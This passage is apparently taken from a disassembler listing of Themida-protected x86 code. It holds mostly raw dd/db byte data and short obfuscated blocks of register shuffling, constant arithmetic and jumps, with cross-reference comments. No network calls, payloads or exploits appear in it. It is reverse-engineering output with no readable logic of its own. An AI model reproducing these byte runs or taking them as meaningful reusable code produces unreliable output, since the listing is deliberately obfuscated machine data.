0EB34E9BEh, 11E36870h, 2C890000h dd 7EB3BD24h, 0E957D4FAh, 0FFFF67C5h, 0FF11BFE9h, 5E5C1FFh dd 3AFE9h, 4E95900h, 59FFFF7Ch, 8104C483h, 76B94BF6h, 3AA6E9D0h dd 0E089FFFFh, 405h, 24406800h, 34890000h, 18A6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F292: ; CODE XREF: Themida_:0055B8A9j mov esi, esp add esi, 4 sub esi, 4 jmp loc_55303B ; --------------------------------------------------------------------------- dw 0C101h dd offset loc_4218E9 db 0 ; --------------------------------------------------------------------------- loc_55F2A9: ; CODE XREF: Themida_:0055E3B6j pop esp mov [esp], esi mov esi, esp push 5091h jmp loc_560736 ; --------------------------------------------------------------------------- db 81h, 0C7h, 0EBh dd 8113376Dh, 3D3020F7h, 7DC78101h, 816D0670h, 0CF9A70EFh dd 9ED81F9h, 16E8177h, 9C581FDh, 5F6E8177h, 0ACE9EE09h dd 1FFFF5Dh, 4C381C3h, 5868A03Ah, 0E9241C87h, 0FFFFCC0Ch dd 3E77B4B9h, 0C1D1F76Eh, 0E98108E1h, 3C1A30E1h, 9AC18141h dd 168C4F1h, 0D98959CBh, 0FF5BFEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F319: ; CODE XREF: Themida_:0055F5B9j add ebp, 149D2ECEh pop edx add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 4C4Dh mov [esp], esi push esp mov esi, [esp] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_560A3F ; --------------------------------------------------------------------------- db 81h dd 0A66FF9C3h, 1F38173h, 89198FD6h, 0F2815BDAh, 67684A3Ah dd 835AD001h, 43302C0h, 24043124h, 8B240433h, 55E92424h dd 0FFFFFFDFh, 34FF2434h, 0C4815924h, 4, 13D168h, 3003E900h dd 5F540000h, 4C781h, 0CE90000h, 29FFFFD1h, 0EC815AD0h dd 4, 48F7E9h, 0F6685700h, 5F5E9B32h, 15DAE953h, 4890000h dd 0D6F3E924h, 1C89FFFFh, 44B05024h, 83B75366h, 0FF5E93E9h dd 6866ACFFh, 8966200Ch, 8EB5240Ch, 0E902E5C0h, 0FFFF2250h dd 535AD129h, 1534FBBh, 11E9815Ch, 15F4B27h, 11C181D9h dd 8B5F4B27h, 0C483241Ch, 5684E904h, 0C835FFFFh, 31C1B464h dd 0F28158C2h, 68E17EE1h, 34FFD701h, 0BEE95A24h, 0FFFFFF39h dd 50582434h, 8D368h, 0D1E95400h, 5B000035h, 4C481h, 0BBE90000h db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F43F: ; CODE XREF: Themida_:0055B7BCj dec ebx push ecx mov ecx, 0CEF4073h or ecx, 4FE243EFh xchg edi, ecx not edi xchg edi, ecx add ecx, 4E333828h add ecx, 79F5C68h or ecx, 5B5836BFh xor ecx, 52397418h xor ebx, ecx pop ecx xor ebx, 23B244F1h mov ebp, ebx pop ebx jmp loc_565A97 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812404h, 4, 522EE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F48A: ; CODE XREF: Themida_:0055E7C0j pop eax sub bl, 0E0h sub bl, dh jmp loc_5643D1 ; --------------------------------------------------------------------------- db 64h, 66h, 0Fh dd 686602B6h, 89661810h, 79E92404h, 8BFFFF0Fh, 0C481243Ch dd 4, 4EC835Ah, 0FF240489h, 8B042474h, 0C4812404h, 4, 8B24048Fh dd 54502424h, 0E924048Bh, 66F6h, 4240481h, 0FF000000h dd 515B2434h, 240C8B54h, 8104C483h, 4C1h, 0D3E7E900h, 0E6C1FFFFh dd 5DB95107h, 4142F60Ah, 0D1F7D1F7h, 0C181D1F7h, 9D190EB7h dd 3CA5E9h, 0C0B95100h, 0BD23A04Ah, 39454670h, 0C8BCD31h dd 4C48324h, 0B70E9h, 34815000h, 4F139824h, 4E95F42h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F533: ; CODE XREF: Themida_:00557428j add esp, 4 push edx mov edx, 53262252h push edx jmp loc_55B253 ; --------------------------------------------------------------------------- db 4, 75h, 52h dd 0B450D6B2h, 0E9C4FE4Ah, 0FFFF8113h, 2BBh, 3CFDE900h dd 1C330000h, 14895C24h, 83E28924h, 0C8904ECh, 58E7B924h dd 0C1812313h, 0DCECA71Dh, 26E968h, 24048900h, 0A52665B8h dd 58C22918h, 16E9CA01h, 81FFFFE1h, 0B36CFF2h, 81EAD129h dd 0E4BCCCEAh, 5AD3314Eh, 522BBF57h, 0A2E95ED8h db 86h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F5AB: ; CODE XREF: Themida_:00555F02j add edx, 0A0078F07h sub ebp, 149D2ECEh add ebp, edx jmp loc_55F319 ; --------------------------------------------------------------------------- dw 840Fh dd 3F06h, 0E904EC83h, 0FFFFBD9Eh, 81240C8Bh, 4C4h, 2AB0E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F5DA: ; CODE XREF: Themida_:0055E536j mov ecx, [esp] add esp, 4 add esp, 4 xor ebp, 457406A6h push ecx mov ecx, 22663F2Bh jmp loc_562143 ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFF27C0h, 0ED81D5F7h, 0B29FF608h, 835DEF01h, 8D6804C7h dd 0E900004Ch, 5132h, 16B5C581h, 0F5813BA9h, 18F80DC2h dd 0FFDA01E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F629: ; CODE XREF: Themida_:00553207j add ebp, 0AF5354h add eax, ebp pop ebp or eax, eax jnz loc_55448D push edi jmp loc_5627F8 ; --------------------------------------------------------------------------- dd 4EC815Bh, 89000000h, 0BDBF243Ch, 813F037Dh, 0EE13B9CFh dd 17EF8138h, 0C1094D68h, 0BE905E7h, 56FFFFDCh, 2E179F68h dd 81465E66h, 3F4863C6h, 5EF789D7h, 4247C01h, 32D585Fh dd 0E93D6D60h, 1897h, 3C8BF989h, 4C48324h, 0E95EF101h dd 0FFFFB5D5h, 4C481h, 87560000h, 0D0F72404h, 56BDE9h db 0 ; --------------------------------------------------------------------------- loc_55F6A5: ; CODE XREF: Themida_:0056342Dj push 5F377C6Dh jmp loc_5541A8 ; --------------------------------------------------------------------------- db 0C1h dd 0E94E05E6h, 0FFFF62DDh, 6851C601h, 35A7h, 0FF3763E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F6C5: ; CODE XREF: Themida_:005652C4j push edx mov edx, ebp mov ecx, edx pop edx pop ebp jmp loc_55AC8D ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 143541BDh, 6165E94Eh, 0E957FFFFh, 0FFFFD28Ah, 4C481h dd 0EE810000h, 0E31BF328h, 3E7C1205h, 5C3BE95Bh, 0C481FFFFh dd 4, 0FF9C9BE9h, 6A21BAFFh, 0E9422DCEh, 4977h, 0FF0BC380h dd 0E9592434h, 0FFFF2A27h, 52E8015Ah, 0FF1C6DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F725: ; CODE XREF: Themida_:0055403Aj pop ebp xchg ebp, edi not ebp jmp loc_556108 ; --------------------------------------------------------------------------- db 51h dd 0CEAE99Ch, 34FFFFFFh, 2434FF24h, 0FFC86CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F741: ; CODE XREF: Themida_:0055C9BDj push ebp push dword ptr [esp+4] push dword ptr [esp] jmp loc_553979 ; --------------------------------------------------------------------------- loc_55F74E: ; CODE XREF: Themida_:00551E80j xor ebp, [esp] pop esp mov [esp], ecx push esi push 3D9B019Ch pop esi add esi, 0C264FE68h mov ecx, esi pop esi add ebx, 163B5452h jmp loc_55EB73 ; --------------------------------------------------------------------------- dd 2404875Ah, 6624248Bh, 51241C89h, 0E9C082B1h, 2E9C004h dd 87EBE955h, 0F289FFFFh, 1F83E95Eh, 0C4810000h, 4, 446568h dd 24148900h, 530D1C68h, 4706E93Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F7AA: ; CODE XREF: Themida_:00562787j pop eax push 43DCh mov [esp], ecx jmp loc_559DCF ; --------------------------------------------------------------------------- dd 5BDE895Fh, 0FF3B25E9h, 241433FFh, 0FF2BEFE9h, 364C05FFh dd 0DF055A68h, 0E97F444Ch, 227Ch, 0E7895759h, 1A6C68h dd 241C8900h, 0B215ACBBh, 0C9DAE92Fh, 0C15EFFFFh, 0BFE904E8h dd 31FFFFE1h, 4332404h, 24248B24h, 1788B951h, 6DE911D2h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F80B: ; CODE XREF: Themida_:00560F0Fj pop edi xchg edx, [esp] mov esp, [esp] mov [esp], edx push edi sub esp, 4 mov [esp], esi mov esi, 68457485h neg esi jmp loc_55B26F ; --------------------------------------------------------------------------- db 89h dd 0F8E9241Ch, 0C1FFFF42h, 0C30D04E0h, 0E9698D69h, 0FFFF32A3h dd 4C681h, 0EE830000h, 24348704h, 243C895Ch, 50EDE9h, 0C1474700h dd 0B85002E7h, 199CF648h, 0FF32FFE9h, 48B5CFFh, 0E1895124h dd 4C181h, 0BE560000h, 4, 0FFB6F6E9h, 3E3C1FFh, 2C48F381h dd 0DA29BAD5h, 28C2815Bh, 0E98DD277h, 228Eh, 4FE9EE01h dd 0BEFFFFC7h, 0FFFFFFFFh, 0FF4355E9h, 0B65266FFh, 0E9F1883Bh dd 0FFFF0FA6h, 405h, 74FF5000h, 8F580424h, 0C15C2404h dd 0B8E90AE9h, 83FFFF48h, 0C00904C4h, 2A9E840Fh, 77FFFFFFh dd 2434FF1Ch, 0FF1187E9h, 4C681FFh, 0E9000000h, 3CA4h dd 0D41BE9ADh, 0C483FFFFh, 592A8804h, 5A2434FFh, 4C481h dd 1DE90000h db 0Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F903: ; CODE XREF: Themida_:0055433Fj pop ebx add edx, edi jmp loc_55448C ; --------------------------------------------------------------------------- loc_55F90B: ; CODE XREF: Themida_:005541C7j and ebp, 3DD009F4h push esi mov esi, 7DE072BDh push edx mov edx, 0ED72228h jmp loc_55D766 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5E0424h, 0E95C2404h, 0FFFFC947h, 0E9E9028Fh, 31FFFF0Ah dd 0F20159CEh, 8324348Bh, 0EA8104C4h, 4, 31241433h, 14332414h dd 24248B24h, 5404EC83h, 0FFC9D6E9h, 48B66FFh, 5A545224h dd 0B2BE5653h, 8108972Ah, 99793AEEh, 0D6BF5748h, 811D806Eh dd 81DFB6C7h, 0EB7CE922h, 0D9F7FFFFh, 0E904E1C1h, 0FFFF0FC2h dd 3446E95Bh, 0D6BF0000h, 0C177115Ch, 0D7F706EFh, 77FBC781h dd 0FE214620h, 31C6815Fh, 1414C59h, 0FA895EF7h, 83243C8Bh dd 0F28104C4h, 6BC66DC7h, 148BD329h, 0DAE5E924h, 0E954FFFFh dd 4F42h ; --------------------------------------------------------------------------- loc_55F9CC: ; CODE XREF: Themida_:0056025Fj add esp, 4 jmp loc_5622AC ; --------------------------------------------------------------------------- dd 0BF243C89h, 4, 5D63ED81h, 0ED8170FDh, 18305B8Bh, 8E9FD01h dd 0BB000009h, 6BC71EA6h, 0E95BD829h, 0FFFFABB9h, 582434FFh dd 7B60E952h, 875FFFFFh, 0E95C2404h, 0FFFF62E4h, 0E5C0D5F6h dd 0E9E5D008h, 0FFFF2115h, 26C068ADh, 14890000h, 4EC8324h dd 0BB241C89h, 77FB6C4Ch, 2414F753h, 9EE9435Bh, 5EFFFFB0h dd 4EC81h, 4890000h, 4BE5624h, 89000000h, 0EB815EF0h, 32857D33h dd 6CE9C329h, 30FFFFF0h, 86C3FED8h, 839F2CD8h, 148904ECh dd 4EB15124h, 8059CA88h, 0F2802AE2h, 9DC280C2h, 2B61E9h dd 0CFF68100h, 89007755h, 4AD6E9F1h, 0F931FFFFh, 83FFE95Fh dd 0BD55FFFFh, 0D60FD9B2h, 4EC2C381h, 0EB816C16h, 18E42CFCh dd 0FF6B48E9h, 0A8E95AFFh, 8BFFFF21h, 0C481241Ch, 4, 0FF6AB0E9h dd 81FA01FFh, 0E535F6C2h, 0B8505F45h, 4, 8758C201h, 248B2414h dd 8B545024h, 0C4832404h, 40504h, 4050000h, 87000000h dd 0E92404h, 0BDFFFF4Dh, 3D1B3BDFh, 6BE9DDF7h, 81000053h dd 428547F5h, 5DE93119h, 159C889h, 0DDE958C2h, 50h, 0EBE959CBh dd 0BDFFFF8Dh, 0B0BB9B7Fh, 15FFD01h, 0AA685DEFh, 8900006Eh dd 0E389241Ch, 4C381h, 0EB810000h, 4, 31241C33h, 1C33241Ch dd 0DDFDE924h, 0BF57FFFFh, 1712104Fh, 44E8EF81h, 0EFC151FEh dd 0E2E78108h, 4F2EC41Bh, 135DEF81h, 0EE9587Ch db 54h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FB67: ; CODE XREF: Themida_:00559223j pop eax jmp loc_553BDC ; --------------------------------------------------------------------------- db 66h, 5Ah, 50h dd 4EC81h, 24890000h, 4BA5224h, 1000000h, 8B042454h, 0C4832414h dd 4055804h, 0E9000000h, 0FFFF588Eh, 8924248Bh, 6768243Ch dd 89000073h, 0BB68242Ch, 5D431D1Bh, 3EBE5653h, 89221D50h dd 81435EF3h, 8D2555F3h, 5BDD213Ah, 0FF450DE9h, 4C781FFh dd 0E9000000h, 0FFFFE8C1h ; --------------------------------------------------------------------------- loc_55FBCC: ; CODE XREF: Themida_:0055F237j push edx mov edx, 0C392006h jmp loc_55AFB0 ; --------------------------------------------------------------------------- aSqi db '[éďI',0 dd 58C32900h, 34FFC331h, 0EFFAE924h, 0D901FFFFh, 35B9E9h dd 4C78300h, 5C243C87h, 6E1C149h, 4EC81h, 3C890000h, 0C579E924h dd 3C87FFFFh, 0EE015C24h, 2434875Dh, 0F1F7665Ch, 227068h dd 24148900h, 81515A54h, 4ECh, 243C8900h, 0FF36DDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FC31: ; CODE XREF: Themida_:005511C6j mov ecx, [esp] add esp, 4 pop ebp add ebx, 4 push 3300h mov [esp], ebx push dword ptr [esp+4] jmp loc_5523C6 ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFFE21Dh, 4C481h, 68530000h, 5C80h, 81242489h dd 42404h, 1C8B0000h, 4C48124h, 56000000h, 1254BD55h, 0D5F76266h dd 0E9BCE94Dh, 0C301FFFFh, 8B5B0B01h, 0C4812404h, 4, 5540E9h dd 242C8900h, 8BBEE957h, 34FFFFFFh, 0C4815924h, 4, 748C68h dd 242C8900h, 136EE9h, 42BF5700h, 0F7591E66h, 3EC781DFh dd 293202F2h, 0FCE95FF9h, 1FFFF37h, 2434FFCDh, 4C48159h dd 57000000h, 2BFh, 5FFD0100h, 31242C33h, 2C33242Ch, 24248B24h dd 0FF8BBEE9h, 9D6858FFh, 89000037h, 0E957242Ch, 21D8h dd 1295DBDh, 7975E927h, 0F180FFFFh, 0E9CA3051h, 4B02h dd 0F461BD55h, 0EF29CAA3h, 5FFD895Dh, 0AEE952h, 0C4830000h dd 0E3BF5704h, 0E9779E72h, 0FFFFF0BAh, 0CAA68h, 24348900h dd 24348B54h, 0FFB820E9h, 0D7C680FFh, 5CA6E9h, 4BF5700h dd 0E9000000h, 0FFFF8625h, 8B2434FFh, 0C4832404h, 0E2895204h dd 7DC2B850h, 4CE90747h, 0FFFFFFE0h, 575F2434h, 0C781E789h dd 4, 3304C783h, 3C31243Ch, 3B90E924h, 814FFFFFh, 7B3A78E7h dd 0B5EF817Bh, 0E9959727h, 0FFFFFCEEh, 7DE99C50h db 6, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FDA3: ; CODE XREF: Themida_:0055B820j push 639Ah mov [esp], esi push edx jmp loc_5631E3 ; --------------------------------------------------------------------------- loc_55FDB1: ; CODE XREF: Themida_:00554678j mov ebp, 43D416DBh shr ebp, 2 and ebp, 372E4F99h sub esp, 4 mov [esp], eax mov eax, 24785842h or ebp, eax jmp loc_561AE5 ; --------------------------------------------------------------------------- dd 8D33D368h, 0A4E95A35h, 83FFFF22h, 0C8904ECh, 801FB124h dd 0F18063C1h, 59C828BDh, 5358C388h, 0D828A8B3h, 0F31EE95Bh dd 8F5EFFFFh, 0D2E92404h, 81000005h, 0D87D8EF2h, 5AD32929h dd 0C381EB01h, 5FF0E0Eh, 1B63E95Dh, 3C89FFFFh, 48F8BF24h dd 45E96DD8h, 8FFFFF63h, 248B2404h, 0AF0F6624h, 9C5166C8h dd 0FF05E3E9h, 0EC81ACFFh, 2, 24148966h, 0FF10F2E9h, 52EB87FFh dd 0BAh, 89EA2900h, 0EB875AD5h, 68h, 241C2900h, 0FF54BDE9h dd 3EBC1FFh, 0C102EBC1h, 0E3C107E3h, 0C2EB8102h, 815BBA4Ch dd 0DCA0FDF3h, 7292E9E6h, 0C283FFFFh, 6A6AE904h, 5FBFFFFFh dd 310D24A3h, 0D0315FFAh, 8124148Bh, 4C4h, 0D519E900h dd 0FB89FFFFh, 0FF7525E9h, 241C89FFh, 2ED7E9h db 0 ; --------------------------------------------------------------------------- loc_55FEB5: ; CODE XREF: Themida_:00555DB5j mov ebx, [esp] jmp loc_55A691 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0E1895124h, 4C181h, 0BA680000h, 0E9000035h, 0FFFF36D9h dd 4EC81h, 4890000h, 55585424h, 8904EC83h, 0CE68240Ch dd 59571B57h, 3922E9h, 4C18100h, 55000000h, 4BDh, 725FE900h dd 3305FFFFh, 68214864h, 6EA3h, 0B9240C89h, 18A6588Dh dd 68FFC183h, 15B5h, 0FF240C89h, 0F7E9240Ch, 66FFFFE9h dd 6602E2C1h, 0CFAAEA81h, 0FF84FCE9h, 2434FFFFh, 4C4815Bh dd 53000000h, 0A233F1BBh, 0A0F38105h, 8153833Bh, 7642CAEBh dd 4E3C11Dh, 0F707E3C1h, 0FBEB81D3h, 0E9A9D3C7h, 0FFFFA276h ; --------------------------------------------------------------------------- loc_55FF64: ; CODE XREF: Themida_:00551B4Cj push ecx jmp loc_555149 ; --------------------------------------------------------------------------- dw 0BB53h dd 4, 0B4DE9h, 97685700h, 89000034h, 0B2BD242Ch, 3147966Ah dd 8B04246Ch, 8952242Ch, 4C281E2h, 81000000h, 4C2h, 24148700h dd 64E9595Ch, 83FFFFD1h, 3C8904ECh, 0D6685324h, 5B474667h dd 0F381DBF7h, 0B8B9982Eh, 67DF68h, 241C8900h, 6D242C81h dd 5F2ADF11h, 15FDE9h, 24343100h, 8B243433h, 89662424h dd 0F66240Ch, 5166C8B6h, 43AE99Ch, 2C89FFFFh, 2474FF24h dd 242C8B04h, 81E68956h, 4C6h, 0B3B85000h, 48325671h, 0A07AED2Dh dd 10F80D6Fh, 0CA051B05h, 5326D65h, 47073622h, 0D56D1B05h dd 23C681AAh, 1782C40h, 23EE81C6h, 58782C40h, 8B243487h dd 0D5E92424h, 89FFFF06h, 0FA2959CFh, 0FFBF575Fh, 29FFFFFFh dd 0B9515FFAh, 1F6D2045h, 2B06E181h, 0D9F76C14h, 3512F181h dd 81494869h, 0FC012BE9h, 59CA31C9h, 280EE9h db 0 ; --------------------------------------------------------------------------- loc_560065: ; CODE XREF: Themida_:005634A9j mov ebp, [esp] push esi jmp loc_56484C ; --------------------------------------------------------------------------- dw 0D3F7h dd 9AEEF381h, 0D82907C6h, 0E9241C8Bh, 0FFFFADC8h, 4C681h dd 0EE830000h, 24348704h, 2404895Ch, 0FF453AE9h, 0FFC581FFh dd 0E9FFFFFFh, 0FFFFC6EAh ; --------------------------------------------------------------------------- loc_5600A0: ; CODE XREF: Themida_:00564923j xor edx, 76F36974h sub edx, 1D551BDBh add ebx, edx pop edx add ebx, 4 xchg ebx, [esp] jmp loc_55B53E ; --------------------------------------------------------------------------- db 54h, 5Dh, 57h dd 0D82FE4BFh, 4F54E971h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5600CA: ; CODE XREF: Themida_:005610AEj mov [esp], edi sub esp, 4 mov [esp], edx jmp loc_5643A3 ; --------------------------------------------------------------------------- dd 5D9668h, 24348900h, 0BB53E689h, 550F4526h, 219ACB81h dd 814B62F6h, 9A47C3h, 5BDE0188h, 8704C683h, 425C2434h dd 23C9C281h, 0F281234Ah, 37545731h, 230AE9h db 0 ; --------------------------------------------------------------------------- loc_560111: ; CODE XREF: Themida_:0055858Ej sub edx, eax mov eax, [esp] add esp, 4 jmp loc_55B8C7 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 64E16852h, 425A2E59h, 0A1F2814Ah, 8171E333h, 7A60D7C2h dd 5AD68950h, 6E25EA81h, 0F20112BFh, 0FF4C88E9h, 393DB8FFh dd 4D2D261Eh, 0F76C100Dh, 0BCD8E9D0h, 433FFFFh, 24043124h dd 0FF0D31E9h, 84BD55FFh, 4D71BC3Dh, 0FFACE5E9h, 2483BEFFh dd 0D62930F6h, 5EF2015Ah, 0FF21C6E9h, 68E189FFh, 19B7h dd 52240489h, 4101E950h, 6C81FFFFh, 3F6E0424h, 7C013AE2h dd 44810424h, 3F6E0424h, 0EFE93AE2h, 0C100004Ah, 0EE8103EEh dd 0CEFB575Dh, 5561EB81h, 0F3011A3Fh, 5561C381h, 295E1A3Fh dd 0B4E956C3h, 89FFFFCFh, 8B542404h, 0E9552404h, 1B79h dd 5E2434FFh, 6F8168h, 242C8900h, 0C581E589h, 4, 8704C583h dd 248B242Ch, 1EECE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5601FA: ; CODE XREF: Themida_:005580A6j pop esp push esi jmp loc_558BB3 ; --------------------------------------------------------------------------- db 66h, 8Bh, 14h dd 0E6895624h, 4C681h, 6DE90000h, 81FFFFDBh, 4C2h, 62AC6800h dd 14890000h, 2474FF24h, 48F5A04h, 24248B24h, 283568h dd 24348900h, 0C681E689h, 4, 8704C683h, 248B2434h, 2434FF24h dd 8324048Bh, 0EC8304C4h, 1FF0E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560256: ; CODE XREF: Themida_:00552C57j push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_55F9CC ; --------------------------------------------------------------------------- dd 5CD7E952h, 0E981FFFFh, 7DF45B05h, 0FFEF98E9h, 4C581FFh dd 87000000h, 0E95C242Ch, 0FFFF2EE6h, 5004C483h, 1D5B5DB8h dd 72A3354Dh, 0EC813212h, 4, 0BB241C89h, 630C1D7Eh, 0FF8333E9h dd 0E962B3FFh, 0FFFF9985h, 54241C89h, 0E9241C8Bh, 0FFFF3FA5h dd 4EA81h, 14870000h, 5BB3E924h, 0D689FFFFh, 5A2434FFh dd 2BBEE950h, 0C9BD0000h, 0E92C240Dh, 0FFFF1735h ; --------------------------------------------------------------------------- loc_5602DC: ; CODE XREF: Themida_:00554BD7j inc edi add edi, 7AC92C25h xor edi, 5017E64Fh add ebp, edi pop edi push esi push 652071B6h jmp loc_550553 ; --------------------------------------------------------------------------- db 81h dd 305B8BC5h, 0BDF2E918h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560302: ; CODE XREF: Themida_:0056513Fj mov edi, ecx jmp loc_5654B2 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 52000000h, 0CD29E956h, 0EF87FFFFh, 4C58F781h, 0FA017B83h dd 8B2434FFh, 0C483243Ch, 0E6E95004h db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56032F: ; CODE XREF: Themida_:0055664Ej mov ebp, 2DED3F65h jmp loc_56351F ; --------------------------------------------------------------------------- db 29h, 0F2h, 50h dd 0A66C7B8h, 560C3549h, 0C2010DACh, 6EE95E58h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56034F: ; CODE XREF: Themida_:0055EF67j sub ebp, 0F6A4DA5h sub ebp, edx push ebx mov ebx, 0F6A4DA5h add ebp, 2817398Ah add ebp, ebx jmp loc_5639A7 ; --------------------------------------------------------------------------- dw 0C681h dd 1B0F3202h, 5A30F681h, 0E68148EAh, 7BC424DFh, 2044EE81h dd 0F1016384h, 8EB8505Eh, 0E956EF62h, 448Ch, 7343C381h dd 32E97EFCh, 50FFFF7Ah, 9E7255B8h, 16280D3Eh, 0E8830C82h dd 4EC83FFh, 0E9240489h, 0FFFF2DECh, 281DEF80h, 1DC780D7h dd 8BADC780h, 0C4812414h, 4, 805BF988h, 0C9807CE1h, 4E9C05Ch dd 0FF2A90E9h, 34FF5CFFh, 2434FF24h, 8324048Bh, 0B4E904C4h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5603EB: ; CODE XREF: Themida_:005554EFj add esi, 2765552Ch pop eax mov ecx, [esp] add esp, 4 jmp loc_55880D ; --------------------------------------------------------------------------- dd 1FC2814Ah, 81526E4Eh, 0E104246Ch, 295DB424h, 81042454h dd 0E1042444h, 8B5DB424h, 0C4832414h, 0D9AE904h, 248B0000h dd 0FFCF2924h, 34FF2434h, 6E685924h, 89000017h, 0E389241Ch dd 459DE9h, 51B2B000h, 1F40E9h db 0 ; --------------------------------------------------------------------------- loc_560449: ; CODE XREF: Themida_:0055A09Ej mov ecx, 4 add ebp, ecx pop ecx jmp loc_5560D2 ; --------------------------------------------------------------------------- dw 0EC83h dd 242C8904h, 42474FFh, 0FFAD31E9h, 8CF781FFh, 810F5D17h dd 0BB9211C7h, 5FF801A7h, 8704C083h, 0CDE92404h, 89FFFFF7h dd 1CF7241Ch, 0EC815B24h, 4, 0FFE7F6E9h, 4BFFFh, 7C010000h dd 0E95F0424h, 0FBDh ; --------------------------------------------------------------------------- loc_5604A0: ; CODE XREF: Themida_:0056052Aj push ecx mov ecx, 274604E1h add ecx, 5579670Fh add ecx, 8F199B04h sub ebx, ecx pop ecx pop ecx shr ebx, 1 push edx mov edx, 7A1B3D63h push ecx mov ecx, 51FC76A8h jmp loc_5544BB ; --------------------------------------------------------------------------- db 53h, 0BBh, 4 dd 1000000h, 0C875BD9h, 4E95C24h, 81FFFFE0h, 8A0E25C9h dd 47E18118h, 4124185Ah, 0B61BE981h, 0CE09AE8Fh, 0E9240C8Bh dd 560Bh, 0D045966h, 0D2CF028h, 5A2434FFh, 0FFA80FE9h dd 24048BFFh, 81E18951h, 4C1h, 0FFAFE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56051A: ; CODE XREF: Themida_:005573A5j and eax, 30CD7029h add eax, 48BFE42Dh mov edx, eax pop eax add ebx, edx pop edx jmp loc_5604A0 ; --------------------------------------------------------------------------- aHsd db 'Héd',8,0 dd 2860BB00h, 35E92F33h, 0BAFFFF43h, 0B97B9A8Fh, 34FFF201h dd 24348B24h, 4C481h, 89500000h, 405E0h, 4050000h, 87000000h dd 815C2404h, 414535CAh, 6E95129h, 100001Ch, 8104246Ch dd 0F504246Ch, 811AD73Ch, 0B2042444h, 814E874Bh, 8304246Ch dd 5D651674h, 5153E958h, 0E953FFFFh, 0FFFF0A89h, 6624248Bh dd 9C240421h, 0FEFE7BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5605A5: ; CODE XREF: Themida_:00560808j add eax, 8880DDCh jmp loc_55C5EE ; --------------------------------------------------------------------------- db 81h dd 0AA7FE9C3h, 0DCB85060h, 2500E264h, 31AC5764h, 6C35D8F7h dd 0E94D6127h, 0FFFFB535h, 0A11FECBDh, 14F75521h, 0BA525D24h dd 73E94999h, 0BB58EA81h, 0AFE92DD6h, 83FFFF85h, 48B04C4h dd 0E2895224h, 4C281h, 0C2830000h, 24143304h, 33241431h dd 28E92414h, 4FFFFB0h, 815B66D0h, 4ECh, 24148900h, 0FF15F1E9h dd 8BFB21FFh, 0C481243Ch, 4, 89CF381h, 0D9010F40h, 0C550E95Bh dd 0E9E9FFFFh, 5EFFFEFDh, 0FF71DAE9h db 0FFh ; --------------------------------------------------------------------------- loc_56063D: ; CODE XREF: Themida_:00555F78j mov [esp], eax mov eax, 10695456h jmp loc_5642A8 ; --------------------------------------------------------------------------- dw 77FFh dd 11589D1Ch, 0E99C2404h, 0FFFFEC04h, 64B668h, 24348900h dd 0FF8429E9h db 0FFh ; --------------------------------------------------------------------------- loc_560665: ; CODE XREF: Themida_:00551E4Dj xchg ebp, [esp] pop esp pop dword ptr [esp] xor edi, eax jmp loc_55DF28 ; --------------------------------------------------------------------------- db 66h dd 6824148Bh, 7B4Fh, 89240489h, 238A68E0h, 0C890000h, 1BA5224h dd 0E969F84Ch, 0FFFF9AB7h, 242C8156h, 5A2601FDh, 1FD0558h dd 0BEE95A26h, 89000036h, 34FF241Ch, 0AEC9E924h, 0E901FFFFh dd 7902C181h, 15D3E92h, 240C8BC8h, 68E68956h, 47B9h, 0BA241489h dd 3A3D63B8h, 3535E281h, 0E2C15E0Bh, 0C8CA8105h, 0E9278232h dd 0FFFF5551h, 81240C8Bh, 4C4h, 3E0400h, 0C0B652F0h, 0F613C680h dd 16B151D6h, 0E1C0C9FEh, 0D993E902h, 515EFFFFh, 8A0925B9h dd 35C9811Ch, 0F7234915h, 0F4E981D9h, 6841F66Eh, 0 dd 59240C29h, 2CF18149h, 0E981C18Ch, 0FFFF2DE2h, 0A950E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560736: ; CODE XREF: Themida_:0055F2B4j mov [esp], edx push ecx mov ecx, 20AF7D7Bh mov edx, ecx pop ecx or edx, 2B713E01h shl edx, 5 jmp loc_5509E1 ; --------------------------------------------------------------------------- dd 8124348Bh, 4C4h, 4C48300h, 4F81E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560762: ; CODE XREF: Themida_:00552676j pop eax push ecx push 4068h mov [esp], esp add dword ptr [esp], 4 pop ecx push 68Eh mov [esp], ebp jmp loc_56080D ; 